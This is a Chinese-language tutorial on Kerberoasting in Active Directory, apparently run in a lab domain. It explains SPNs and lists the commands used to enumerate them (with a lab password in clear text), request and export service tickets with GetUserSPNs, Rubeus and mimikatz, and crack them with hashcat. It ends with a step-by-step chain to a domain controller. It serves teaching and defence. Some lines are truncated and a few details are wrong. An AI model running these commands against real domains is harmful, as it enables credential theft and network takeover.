一. Kerberoasting攻击原理
1. 原理
Kerberoasting 是域渗透中经常使用的一项技术,是Tim Medin 在 DerbyCon 2014 上发布的一种域口令攻击方法,Tim Medin 同时发布了配套的攻击工具 kerberoast。此后,不少研究人员对 Kerberoasting 进行了改进和扩展,在 GitHub 上开发发布了大量工具,使得Kerberoasting 逐渐发展成为域攻击的常用方法之一。Kerberoast攻击是在TGS_REP的过程中用户将会收到由目标服务实例的NTLM hash加密生成的ST(service ticket),如果获得这个ST票据,我们可以尝试穷举口令,模拟加密过程,进行破解。
2. 条件
ST票据的加密方式没有强制采用aes256,可以使用MD5的加密
在TGS认证TGT的时候,不管提供的用户是否具有访问目标服务的权限都会返回目标服务的ST
二. 服务主体名SPN介绍
1.介绍
服务主体名称SPN(Server principal Name SPN),是服务实例(可以理解为一个服务,比如 HTTP、MSSQL)的唯一标识符。Kerberos 身份验证使用SPN将服务实例与服务帐户相关联。(在域中如果有多个服务,每个服务必须有自己的SPN和用户,一个用户可以有多个SPN,但是SPN只能对应一个用户,SPN必须注册的用户下)
这里有三个概念:
SPN:服务主体名称,将服务用户和服务联系起来
服务用户:用于登录运行服务的用户
服务:计算机运行的服务
2. 格式
SPN的格式:
<serviceclass>/<host>:<port>/<service name>
SPN 的语法中存在四种元素,两个必要元素和非必要两个元素
其中<service class>和<host>为必须元素<port>/<service name>是非必要元素
必要:
Service class:服务类(HOST )
Host:服务所在的主机名字
比如:MSSQLSvc/SQL.hack.com
常见服务名称及功能:https://blog.csdn.net/wangdeq/article/details/818280
3. SPN分类
查询命令:setspn -Q */*
注册在机器账户下
电脑加入域之后,机器用户会同步到域控(主机名$),什么样子的服务会注册到这个账户呢? 服
务权限为local system 或者Network service时,比如HOST服务(其中的SPN /<hos
注册在域用户下
SPN可以注册在域中的用户,默认只有机器用户或者域管理员用户才有权限去注册SPN(将服务注册在域
用户的权限),域中的普通用户如果要注册需要修改权限(一般默认的一些工具软件会注册到机器用户下)
三. SPN的注册注意事项
在使用kerberos访问对方电脑的服务之前,KDC上必须有服务对应的SPN,并且注册到了用户上
注册SPN有两种方式:
系统自动完成注册比如我们安装EX邮箱,SQL等
手动注册,可以根据SPN的格式手动注册
注册SPN的用户有两种
注册在机器用户下(机器名$)
注册在域用户下
这里需要注意的是:在注册SPN的时候只有 机器用户或者域管理员用户才有权限普通的域用户默认是没有权限的,除非修改相关的设置;
接下来使用setspn命令在不同用户下注册服务:
域用户
setspn -U -S web/ONE-PC.HACK.COM:80 LEE
将HTTP服务的SPN注册到域用户LEE下
机器用户
setspn -C -S web/ONE-PC.HACK.COM:80 ONE-PC
将HTTP服务的SPN注册到当前机器用户下
server hash是什么
server hash是Kerberos认证中用来解密ST的
SPN注册在机器用户下:
A电脑提供TGT和需要访问的服务
TGS检查服务名字和对应的SPN
TGS发现SPN中该服务对应的服务是web1
SPN中对应的用户是机器用户ONE-PC$
生成ST票据(使用one-pc$-hash进行加密)
这个中注册我们无法使用kerberoasting,这个是白银票据的
SPN注册在域用户下:
A电脑提供TGT和需要访问的服务
TGS检查服务名字和对应的SPN
TGS发现SPN中该服务对应的机器是web
SPN中对应的用户是机器用户LEE
生成ST票据(使用LEE-Hash进行加密)
四. 域内SPN探测技术
在控制了一台内网主机的时候,我们可以探测域中注册的SPN,原理上还是使用LDAP协议进行查询,这里分为域内主机查询和非域内主机查询
1. 域内
如果当前电脑加入了域,并且使用域用户进行登录,如果没有登录就提权到system用户,可以进行查询
setspn命令
Setspn –Q */* 查询所有的SPN
Setspn –T hack.com –Q */* 查询指定域中的SPN
PowerView脚本
Import-Module .\PowerView.ps1
Get-NetUser –SPN
这个脚本可以查询域用户注册的SPN,机器用户注册的查不了
2. 非域
对于非域内的主机,可以通过adfind,但是必要提供一个域中的账号密码,没有办法通过kerberos协议,自己写脚本也不行,除非发现kerberos的漏洞
域内机器:Adfind.exe -b "dc=hack,dc=com" -f "&(servicePrincipalName=*)" servicePrincipalName
非域机器:Adfind.exe -h 192.168.41.10:389 -u hack\ONE-PC -up Lyp010822 -f "&(servicePrincipalName=*)" servicePrincipalName
我们的获取的方式没有对用户进行过滤,是所有的用户的SPN都会都会显示出来,我们在进行渗透的时候肯定是需要管理员用户,只需要将LDAP的条件变一下即可
Adfind.exe -h 192.168.41.10:389 -u hack\ONE-PC -up Lyp010822 -f "&(servicePrincipalName=*)(admincount=1)" servicePrincipalName
五. 获取高权限SPN服务票据
我们为什么要获取SPN,就是用来破解SPN对应账户的密码但是SPN可以注册在机器用户下和
域用户下
机器用户下(机器用户的密码是不可能获取到的,他是随机的,是无法进行破解的)
域用户下(SPN可以注册在任何的域用户下,所以需要查询高权限的域用户下的SPN)
过滤出来的SPN之后我们就要针对这些用户进行ST的申请,正常申请ST进行破解密码这个是
kerberoasting,如果是伪造ST那就是白银票据了
1. GetUserSPNs工具
在非域主机上获取域中所有注册SPN的用户ST票据:
GetUserSPNs.exe -request -dc-ip 192.168.41.10 hack.com/ONE-PC:Lyp010822 -outputfile 1.txt
GetUserSPNs.exe -request -dc-ip 192.168.41.10 hack.com/ONE-PC:Lyp010822 -outputfile 1.txt -request-user ONE-PC 指定用户
可以看到该ST票据中的加密算法采用HMAC_MD5所以可以破解,如果是ASE256就不行了
2. Rebeus工具
这个工具不能用于工作组的电脑,因为不支持认证,在域中的电脑,执行如下:
Rubeus.exe kerberoast /format:john /outfile:1.txt
3. mimikatz
可以使用mimikatz直接申请ST票据,然后从内存中导出来
kerberos::ask /target:web1/ONE-PC申请票据
kerberos::list /export 导出所有票
这种方式导出的整个封装好的ST票据,不像之前的工具导出的数据
六. 破解用户ST票据Hash
因为获取的的ST因为工具的不同有kirbi格式的也有hash格式的使用不同的工具去进行破解
Kirbi格式的:
使用tgsrepcrack脚本
Python2 tgsrepcrack.py 密码字典 票据
Hash格式的(分为john格式和hacat格式一般都是hashcat):
Hashcat –m 13100 hash pass --force
七. 通过Kerberoasting控制域控
基本步骤如下:
1、检查电脑是否加入域
如果是工作组(先用喷洒得到一个域用户和密码)
然后使用Adfind查询可以利用的SPN
如果加入了域直接使用工具查询高权限的SPN
2、找到可利用的SPN用户获取该用户的ST票据(这里使用加入域的电脑)
3、使用hashcat破解密码
4、得到用户的hash值之后,获取该用户的PTT票据
5、使用mimikatz将票据注入的内存中
6、横向移动进行上线